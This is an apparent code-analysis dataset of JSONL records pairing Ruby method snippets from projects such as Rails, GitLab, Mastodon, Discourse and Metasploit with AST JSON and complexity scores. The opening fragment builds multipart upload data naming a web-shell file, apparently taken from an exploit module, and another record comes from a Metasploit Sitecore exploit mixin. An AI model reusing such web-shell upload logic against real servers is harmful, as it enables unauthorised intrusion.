filename=\\\"\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@webshell_name\"]}]},{\"type\":\"str\",\"children\":[\"\\\"\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"form_data\"]},\"add_part\",{\"type\":\"str\",\"children\":[\"\"]},{\"type\":\"nil\",\"children\":[]},{\"type\":\"nil\",\"children\":[]},{\"type\":\"str\",\"children\":[\"form-data; name=\\\"mtime[]\\\"\"]}]},{\"type\":\"return\",\"children\":[{\"type\":\"lvar\",\"children\":[\"form_data\"]}]}]}]}","id":"5d127e23-1266-4242-8563-a327004d2bb0"}
{"repo_name":"mastodon","file_path":"./repos/mastodon/app/controllers/api/v1/push/subscriptions_controller.rb","start_line":61,"raw_source":"def subscription_params\n    params.expect(subscription: [:endpoint, :standard, keys: [:auth, :p256dh]])\n  end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"subscription_params\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"expect\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"subscription\"]},{\"type\":\"array\",\"children\":[{\"type\":\"sym\",\"children\":[\"endpoint\"]},{\"type\":\"sym\",\"children\":[\"standard\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"keys\"]},{\"type\":\"array\",\"children\":[{\"type\":\"sym\",\"children\":[\"auth\"]},{\"type\":\"sym\",\"children\":[\"p256dh\"]}]}]}]}]}]}]}]}]}","id":"b4cb3b07-d203-4cc4-806e-514529bf1fcb"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/helpers/projects_helper.rb","start_line":257,"raw_source":"def load_catalog_resources(projects)\n    ActiveRecord::Associations::Preloader.new(records: projects, associations: :catalog_resource).call\n  end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"load_catalog_resources\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"projects\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveRecord\"]},\"Associations\"]},\"Preloader\"]},\"new\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"records\"]},{\"type\":\"lvar\",\"children\":[\"projects\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"associations\"]},{\"type\":\"sym\",\"children\":[\"catalog_resource\"]}]}]}]},\"call\"]}]}","id":"258b8c2f-69b9-441e-8860-fcf63606d3b1"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/database/partitioning_migration_helpers/table_management_helpers.rb","start_line":570,"raw_source":"def create_list_partitions(table_name, partition_mappings, partition_name_format = nil)\n          partition_name_format ||= \"%{table_name}_%{partition_name}\"\n\n          partition_mappings.each_pair do |partition_name, partition_values|\n            partition_name = format(partition_name_format, table_name: table_name, partition_name: partition_name)\n            create_list_partition_safely(partition_name, table_name, partition_values)\n          end\n        end","complexity_score":7.6,"ast_json":"{\"type\":\"def\",\"children\":[\"create_list_partitions\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"table_name\"]},{\"type\":\"arg\",\"children\":[\"partition_mappings\"]},{\"type\":\"optarg\",\"children\":[\"partition_name_format\",{\"type\":\"nil\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"or_asgn\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"partition_name_format\"]},{\"type\":\"str\",\"children\":[\"%{table_name}_%{partition_name}\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"partition_mappings\"]},\"each_pair\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"partition_name\"]},{\"type\":\"arg\",\"children\":[\"partition_values\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"partition_name\",{\"type\":\"send\",\"children\":[null,\"format\",{\"type\":\"lvar\",\"children\":[\"partition_name_format\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"table_name\"]},{\"type\":\"lvar\",\"children\":[\"table_name\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"partition_name\"]},{\"type\":\"lvar\",\"children\":[\"partition_name\"]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"create_list_partition_safely\",{\"type\":\"lvar\",\"children\":[\"partition_name\"]},{\"type\":\"lvar\",\"children\":[\"table_name\"]},{\"type\":\"lvar\",\"children\":[\"partition_values\"]}]}]}]}]}]}","id":"f52a5e31-c907-4f6d-8ad9-fa162171d2a9"}
{"repo_name":"discourse","file_path":"./repos/discourse/app/serializers/draft_serializer.rb","start_line":26,"raw_source":"def cooked\n    object.parsed_data[\"reply\"] || \"\"\n  end","complexity_score":4.9,"ast_json":"{\"type\":\"def\",\"children\":[\"cooked\",{\"type\":\"args\",\"children\":[]},{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"object\"]},\"parsed_data\"]},\"[]\",{\"type\":\"str\",\"children\":[\"reply\"]}]},{\"type\":\"str\",\"children\":[\"\"]}]}]}","id":"043f8ab1-cdac-4306-bb64-1323913d793a"}
{"repo_name":"rails","file_path":"./repos/rails/railties/test/application/middleware/cache_test.rb","start_line":127,"raw_source":"def test_cache_works_with_etags_private\n      simple_controller\n\n      get \"/expires/expires_etag\", { private: true }, { \"HTTPS\" => \"on\" }\n      assert_equal \"miss\",                                last_response.headers[\"X-Rack-Cache\"]\n      assert_equal \"must-revalidate, private, max-age=0\", last_response.headers[\"Cache-Control\"]\n\n      body = last_response.body\n      etag = last_response.headers[\"ETag\"]\n\n      get \"/expires/expires_etag\", { private: true }, { \"HTTP_IF_NONE_MATCH\" => etag, \"HTTPS\" => \"on\" }\n      assert_equal \"miss\", last_response.headers[\"X-Rack-Cache\"]\n      assert_not_equal body,   last_response.body\n    end","complexity_score":30.0,"ast_json":"{\"type\":\"def\",\"children\":[\"test_cache_works_with_etags_private\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"simple_controller\"]},{\"type\":\"send\",\"children\":[null,\"get\",{\"type\":\"str\",\"children\":[\"/expires/expires_etag\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"private\"]},{\"type\":\"true\",\"children\":[]}]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"HTTPS\"]},{\"type\":\"str\",\"children\":[\"on\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"str\",\"children\":[\"miss\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"last_response\"]},\"headers\"]},\"[]\",{\"type\":\"str\",\"children\":[\"X-Rack-Cache\"]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"str\",\"children\":[\"must-revalidate, private, max-age=0\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"last_response\"]},\"headers\"]},\"[]\",{\"type\":\"str\",\"children\":[\"Cache-Control\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"body\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"last_response\"]},\"body\"]}]},{\"type\":\"lvasgn\",\"children\":[\"etag\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"last_response\"]},\"headers\"]},\"[]\",{\"type\":\"str\",\"children\":[\"ETag\"]}]}]},{\"type\":\"send\",\"children\":[null,\"get\",{\"type\":\"str\",\"children\":[\"/expires/expires_etag\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"private\"]},{\"type\":\"true\",\"children\":[]}]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"HTTP_IF_NONE_MATCH\"]},{\"type\":\"lvar\",\"children\":[\"etag\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"HTTPS\"]},{\"type\":\"str\",\"children\":[\"on\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"str\",\"children\":[\"miss\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"last_response\"]},\"headers\"]},\"[]\",{\"type\":\"str\",\"children\":[\"X-Rack-Cache\"]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_not_equal\",{\"type\":\"lvar\",\"children\":[\"body\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"last_response\"]},\"body\"]}]}]}]}","id":"06325934-f435-4f2b-b3da-ff953da40159"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/msf/core/exploit/remote/http/sitecore_xp.rb","start_line":9,"raw_source":"def initialize(info = {})\n            super\n            register_options([OptString.new('IDENTITY_VHOST', [true, 'Hostname of Sitecore identity server']) ])\n          end","complexity_score":3.2,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"info\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"zsuper\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"register_options\",{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OptString\"]},\"new\",{\"type\":\"str\",\"children\":[\"IDENTITY_VHOST\"]},{\"type\":\"array\",\"children\":[{\"type\":\"true\",\"children\":[]},{\"type\":\"str\",\"children\":[\"Hostname of Sitecore identity server\"]}]}]}]}]}]}]}","id":"b4cf0976-d222-453f-8d65-82402b7c8d05"}
{"repo_name":"rails","file_path":"./repos/rails/activesupport/test/core_ext/time_with_zone_test.rb","start_line":1130,"raw_source":"def test_in_time_zone_with_invalid_argument\n    assert_raise(ArgumentError) {  @t.in_time_zone(\"No such timezone exists\") }\n    assert_raise(ArgumentError) { @dt.in_time_zone(\"No such timezone exists\") }\n    assert_raise(ArgumentError) {  @t.in_time_zone(-15.hours) }\n    assert_raise(ArgumentError) { @dt.in_time_zone(-15.hours) }\n    assert_raise(ArgumentError) {  @t.in_time_zone(Object.new) }\n    assert_raise(ArgumentError) { @dt.in_time_zone(Object.new) }\n  end","complexity_score":24.55,"ast_json":"{\"type\":\"def\",\"children\":[\"test_in_time_zone_with_invalid_argument\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"assert_raise\",{\"type\":\"const\",\"children\":[null,\"ArgumentError\"]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@t\"]},\"in_time_zone\",{\"type\":\"str\",\"children\":[\"No such timezone exists\"]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"assert_raise\",{\"type\":\"const\",\"children\":[null,\"ArgumentError\"]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@dt\"]},\"in_time_zone\",{\"type\":\"str\",\"children\":[\"No such timezone exists\"]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"assert_raise\",{\"type\":\"const\",\"children\":[null,\"ArgumentError\"]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@t\"]},\"in_time_zone\",{\"type\":\"send\",\"children\":[{\"type\":\"int\",\"children\":[-15]},\"hours\"]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"assert_raise\",{\"type\":\"const\",\"children\":[null,\"ArgumentError\"]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@dt\"]},\"in_time_zone\",{\"type\":\"send\",\"children\":[{\"type\":\"int\",\"children\":[-15]},\"hours\"]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"assert_raise\",{\"type\":\"const\",\"children\":[null,\"ArgumentError\"]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@t\"]},\"in_time_zone\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Object\"]},\"new\"]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"assert_raise\",{\"type\":\"const\",\"children\":[null,\"ArgumentError\"]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@dt\"]},\"in_time_zone\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Object\"]},\"new\"]}]}]}]}]}","id":"962925e7-acdf-4e53-adb1-e2ff034c5994"}
{"repo_name":"discourse","file_path":"./repos/discourse/plugins/discourse-calendar/jobs/regular/discourse_post_event/event_started.rb","start_line":7,"raw_source":"def execute(args)\n      raise Discourse::InvalidParameters.new(:event_id) if args[:event_id].blank?\n      event = DiscoursePostEvent::Event.find(args[:event_id])\n      MessageBus.publish(\"/topic/#{event.post.topic_id}\", reload_topic: true, refresh_stream: true)\n      DiscourseEvent.trigger(:discourse_post_event_event_started, event)\n    end","complexity_score":13.4,"ast_json":"{\"type\":\"def\",\"children\":[\"execute\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"args\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"args\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"event_id\"]}]},\"blank?\"]},{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Discourse\"]},\"InvalidParameters\"]},\"new\",{\"type\":\"sym\",\"children\":[\"event_id\"]}]}]},null]},{\"type\":\"lvasgn\",\"children\":[\"event\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"DiscoursePostEvent\"]},\"Event\"]},\"find\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"args\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"event_id\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"MessageBus\"]},\"publish\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"/topic/\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"event\"]},\"post\"]},\"topic_id\"]}]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"reload_topic\"]},{\"type\":\"true\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"refresh_stream\"]},{\"type\":\"true\",\"children\":[]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"DiscourseEvent\"]},\"trigger\",{\"type\":\"sym\",\"children\":[\"discourse_post_event_event_started\"]},{\"type\":\"lvar\",\"children\":[\"event\"]}]}]}]}","id":"f842c6bf-8dcb-4c48-a8a6-15bded15e4fb"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/services/integrations/update_service.rb","start_line":32,"raw_source":"def handle_inherited_settings?\n      if attributes.key?(:use_inherited_settings)\n        Gitlab::Utils.to_boolean(attributes[:use_inherited_settings], default: false)\n      else\n        integration.inherit_from_id?\n      end\n    end","complexity_score":9.5,"ast_json":"{\"type\":\"def\",\"children\":[\"handle_inherited_settings?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"attributes\"]},\"key?\",{\"type\":\"sym\",\"children\":[\"use_inherited_settings\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gitlab\"]},\"Utils\"]},\"to_boolean\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"attributes\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"use_inherited_settings\"]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"default\"]},{\"type\":\"false\",\"children\":[]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"integration\"]},\"inherit_from_id?\"]}]}]}","id":"bd98b340-60c6-4512-b30e-1f5fbdfe29cf"}
{"repo_name":"mastodon","file_path":"./repos/mastodon/app/models/user_role.rb","start_line":136,"raw_source":"def permissions_as_keys=(value)\n    self.permissions = value.filter_map(&:presence).reduce(Flags::NONE) { |bitmask, privilege| FLAGS.key?(privilege.to_sym) ? (bitmask | FLAGS[privilege.to_sym]) : bitmask }\n  end","complexity_score":13.3,"ast_json":"{\"type\":\"def\",\"children\":[\"permissions_as_keys=\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"value\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"permissions=\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"value\"]},\"filter_map\",{\"type\":\"block_pass\",\"children\":[{\"type\":\"sym\",\"children\":[\"presence\"]}]}]},\"reduce\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Flags\"]},\"NONE\"]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"bitmask\"]},{\"type\":\"arg\",\"children\":[\"privilege\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"FLAGS\"]},\"key?\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"privilege\"]},\"to_sym\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"bitmask\"]},\"|\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"FLAGS\"]},\"[]\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"privilege\"]},\"to_sym\"]}]}]}]},{\"type\":\"lvar\",\"children\":[\"bitmask\"]}]}]}]}]}","id":"30fa6216-d86a-4036-bffe-dd1436a8a1d0"}
{"repo_name":"puma","file_path":"./repos/puma/test/test_out_of_band_server.rb","start_line":111,"raw_source":"def test_request_overlapping_hook\n    oob_server oob_wait: true, max_threads: 2\n\n    # Establish connection for Req2 before OOB\n    req2 = new_connection\n    sleep 0.01\n\n    @mutex.synchronize do\n      send_http \"GET / HTTP/1.0\\r\\n\\r\\n\"\n      @oob_finished.wait(@mutex) # enter OOB\n\n      # Send Req2\n      req2 << \"GET / HTTP/1.0\\r\\n\\r\\n\"\n      # If Req2 is processed now it raises 'OOB Conflict' in the response.\n      sleep 0.01\n\n      @oob_finished.signal # exit OOB\n      # Req2 should be processed now.\n      @oob_finished.wait(@mutex, 1) # enter OOB\n      @oob_finished.signal # exit OOB\n    end\n\n    refute_match(/OOB conflict/, req2.read)\n  end","complexity_score":17.9,"ast_json":"{\"type\":\"def\",\"children\":[\"test_request_overlapping_hook\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"oob_server\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"oob_wait\"]},{\"type\":\"true\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"max_threads\"]},{\"type\":\"int\",\"children\":[2]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"req2\",{\"type\":\"send\",\"children\":[null,\"new_connection\"]}]},{\"type\":\"send\",\"children\":[null,\"sleep\",{\"type\":\"float\",\"children\":[0.01]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@mutex\"]},\"synchronize\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"send_http\",{\"type\":\"str\",\"children\":[\"GET / HTTP/1.0\\r\\n\\r\\n\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@oob_finished\"]},\"wait\",{\"type\":\"ivar\",\"children\":[\"@mutex\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"req2\"]},\"<<\",{\"type\":\"str\",\"children\":[\"GET / HTTP/1.0\\r\\n\\r\\n\"]}]},{\"type\":\"send\",\"children\":[null,\"sleep\",{\"type\":\"float\",\"children\":[0.01]}]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@oob_finished\"]},\"signal\"]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@oob_finished\"]},\"wait\",{\"type\":\"ivar\",\"children\":[\"@mutex\"]},{\"type\":\"int\",\"children\":[1]}]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@oob_finished\"]},\"signal\"]}]}]},{\"type\":\"send\",\"children\":[null,\"refute_match\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"OOB conflict\"]},{\"type\":\"regopt\",\"children\":[]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"req2\"]},\"read\"]}]}]}]}","id":"799b0534-dd1b-4e3b-a4d2-b4d2258d3746"}
{"repo_name":"manageiq","file_path":"./repos/manageiq/app/models/miq_server.rb","start_line":419,"raw_source":"def ui_address(contact_with = :hostname)\n    if MiqEnvironment::Command.is_podified?\n      ENV.fetch(\"APPLICATION_DOMAIN\", nil)\n    else\n      contact_with == :hostname ? ui_hostname : ui_ipaddress\n    end\n  end","complexity_score":8.7,"ast_json":"{\"type\":\"def\",\"children\":[\"ui_address\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"contact_with\",{\"type\":\"sym\",\"children\":[\"hostname\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"MiqEnvironment\"]},\"Command\"]},\"is_podified?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ENV\"]},\"fetch\",{\"type\":\"str\",\"children\":[\"APPLICATION_DOMAIN\"]},{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"contact_with\"]},\"==\",{\"type\":\"sym\",\"children\":[\"hostname\"]}]},{\"type\":\"send\",\"children\":[null,\"ui_hostname\"]},{\"type\":\"send\",\"children\":[null,\"ui_ipaddress\"]}]}]}]}","id":"698663bf-6437-441a-a331-bbe11300f1a5"}
{"repo_name":"rails","file_path":"./repos/rails/actionview/test/template/resolver_shared_tests.rb","start_line":162,"raw_source":"def test_templates_sort_by_formats_html_first\n    with_file \"test/hello_world.html.erb\", \"Hello HTML!\"\n    with_file \"test/hello_world.json.builder\", \"Hello JSON!\"\n\n    templates = resolver.find_all(\"hello_world\", \"test\", false, locale: [], formats: [:html, :json], variants: :any, handlers: [:erb, :builder])\n\n    assert_equal 2, templates.size\n    assert_equal \"Hello HTML!\", templates[0].source\n    assert_equal :html, templates[0].format\n    assert_equal \"Hello JSON!\", templates[1].source\n    assert_equal :json, templates[1].format\n  end","complexity_score":22.9,"ast_json":"{\"type\":\"def\",\"children\":[\"test_templates_sort_by_formats_html_first\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"with_file\",{\"type\":\"str\",\"children\":[\"test/hello_world.html.erb\"]},{\"type\":\"str\",\"children\":[\"Hello HTML!\"]}]},{\"type\":\"send\",\"children\":[null,\"with_file\",{\"type\":\"str\",\"children\":[\"test/hello_world.json.builder\"]},{\"type\":\"str\",\"children\":[\"Hello JSON!\"]}]},{\"type\":\"lvasgn\",\"children\":[\"templates\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"resolver\"]},\"find_all\",{\"type\":\"str\",\"children\":[\"hello_world\"]},{\"type\":\"str\",\"children\":[\"test\"]},{\"type\":\"false\",\"children\":[]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"locale\"]},{\"type\":\"array\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"formats\"]},{\"type\":\"array\",\"children\":[{\"type\":\"sym\",\"children\":[\"html\"]},{\"type\":\"sym\",\"children\":[\"json\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"variants\"]},{\"type\":\"sym\",\"children\":[\"any\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"handlers\"]},{\"type\":\"array\",\"children\":[{\"type\":\"sym\",\"children\":[\"erb\"]},{\"type\":\"sym\",\"children\":[\"builder\"]}]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"int\",\"children\":[2]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"templates\"]},\"size\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"str\",\"children\":[\"Hello HTML!\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"templates\"]},\"[]\",{\"type\":\"int\",\"children\":[0]}]},\"source\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"sym\",\"children\":[\"html\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"templates\"]},\"[]\",{\"type\":\"int\",\"children\":[0]}]},\"format\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"str\",\"children\":[\"Hello JSON!\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"templates\"]},\"[]\",{\"type\":\"int\",\"children\":[1]}]},\"source\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"sym\",\"children\":[\"json\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"templates\"]},\"[]\",{\"type\":\"int\",\"children\":[1]}]},\"format\"]}]}]}]}","id":"99659758-ff30-4102-bc7e-3b9d1c2d183d"}
{"repo_name":"fastlane","file_path":"./repos/fastlane/fastlane/lib/fastlane/actions/upload_app_privacy_details_to_app_store.rb","start_line":188,"raw_source":"def self.available_options\n        user = CredentialsManager::AppfileConfig.try_fetch_value(:itunes_connect_id)\n        user ||= CredentialsManager::AppfileConfig.try_fetch_value(:apple_id)\n\n        [\n          FastlaneCore::ConfigItem.new(key: :username,\n                                       env_name: \"FASTLANE_USER\",\n                                       description: \"Your Apple ID Username for App Store Connect\",\n                                       default_value: user,\n                                       default_value_dynamic: true),\n          FastlaneCore::ConfigItem.new(key: :app_identifier,\n                                       env_name: \"UPLOAD_APP_PRIVACY_DETAILS_TO_APP_STORE_APP_IDENTIFIER\",\n                                       description: \"The bundle identifier of your app\",\n                                       code_gen_sensitive: true,\n                                       default_value: CredentialsManager::AppfileConfig.try_fetch_value(:app_identifier),\n                                       default_value_dynamic: true),\n          FastlaneCore::ConfigItem.new(key: :team_id,\n                                       env_name: \"FASTLANE_ITC_TEAM_ID\",\n                                       description: \"The ID of your App Store Connect team if you're in multiple teams\",\n                                       optional: true,\n                                       skip_type_validation: true, # as we also allow integers, which we convert to strings anyway\n                                       code_gen_sensitive: true,\n                                       default_value: CredentialsManager::AppfileConfig.try_fetch_value(:itc_team_id),\n                                       default_value_dynamic: true),\n          FastlaneCore::ConfigItem.new(key: :team_name,\n                                       env_name: \"FASTLANE_ITC_TEAM_NAME\",\n                                       description: \"The name of your App Store Connect team if you're in multiple teams\",\n                                       optional: true,\n                                       code_gen_sensitive: true,\n                                       default_value: CredentialsManager::AppfileConfig.try_fetch_value(:itc_team_name),\n                                       default_value_dynamic: true),\n\n          # JSON paths\n          FastlaneCore::ConfigItem.new(key: :json_path,\n                                       env_name: \"UPLOAD_APP_PRIVACY_DETAILS_TO_APP_STORE_JSON_PATH\",\n                                       description: \"Path to the app usage data JSON\",\n                                       optional: true,\n                                       verify_block: proc do |value|\n                                         UI.user_error!(\"Could not find JSON file at path '#{File.expand_path(value)}'\") unless File.exist?(value)\n                                         